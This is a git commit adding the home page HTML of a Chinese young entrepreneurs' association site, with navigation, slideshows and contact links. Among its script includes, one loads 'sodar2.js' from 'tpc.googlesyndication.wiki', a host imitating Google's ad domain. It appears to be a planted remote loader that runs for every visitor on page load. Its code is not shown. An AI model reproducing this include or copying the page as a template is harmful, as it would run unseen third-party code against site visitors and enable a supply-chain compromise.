initial commit
This commit is contained in:
@@ -0,0 +1,166 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="style/style.css">
|
||||
<link rel="stylesheet" href="style/home.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container animate__animated animate__slideInDown">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>雁博青年创业家协会</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<!-- 倍伴 -->
|
||||
<section id="block-home-1" class="page-block block-home-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image" style="background-image: url('images/block-home-1a.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('images/block-home-1b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('images/block-home-1c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('images/block-home-1d.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-1">
|
||||
<div class="container">
|
||||
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
|
||||
<label>
|
||||
<img src="images/pb.png" />
|
||||
一起成为更好的领导者！
|
||||
</label>
|
||||
<span>打造一个正循环生态，让一群企业家透过资讯交流，持续学习，相互支持，让彼此成为更好的领导者；进而改变自己与世界的命运！</span>
|
||||
<a href="about.html">了解更多</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 成长 -->
|
||||
<section id="block-home-2" class="page-block block-home-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-home-2b-pc.jpg" style="background-image: url('images/block-home-2b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('images/block-home-2c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('images/block-home-2d.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('images/block-home-2e.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-2">
|
||||
<div class="container">
|
||||
<div id="block-content-2" class="content">
|
||||
<label>
|
||||
<img src="images/cz.png" />
|
||||
突破你的边界！
|
||||
</label>
|
||||
<span>透过互相学习的过程，让创业家继续成长突破，并打破创业者孤军奋战的困境，提供安全互信的环境，彼此扶持。</span>
|
||||
<a href="value.html">了解更多</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>联系YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#48312d2666292c2521267908212b24273d2c662b2725"><span class="__cf_email__" data-cfemail="7108141f5f10151c181f403118121d1e04155f121e1c">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年创业家协会</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年创业家协会.</div>
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="js/jquery.cookie.min.js"></script>
|
||||
<script src="js/common.js"></script>
|
||||
<script>
|
||||
const oBlock1 = document.getElementById('block-home-1');
|
||||
const oBlock2 = document.getElementById('block-home-2');
|
||||
const oContent2 = document.getElementById('block-content-2');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
|
||||
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user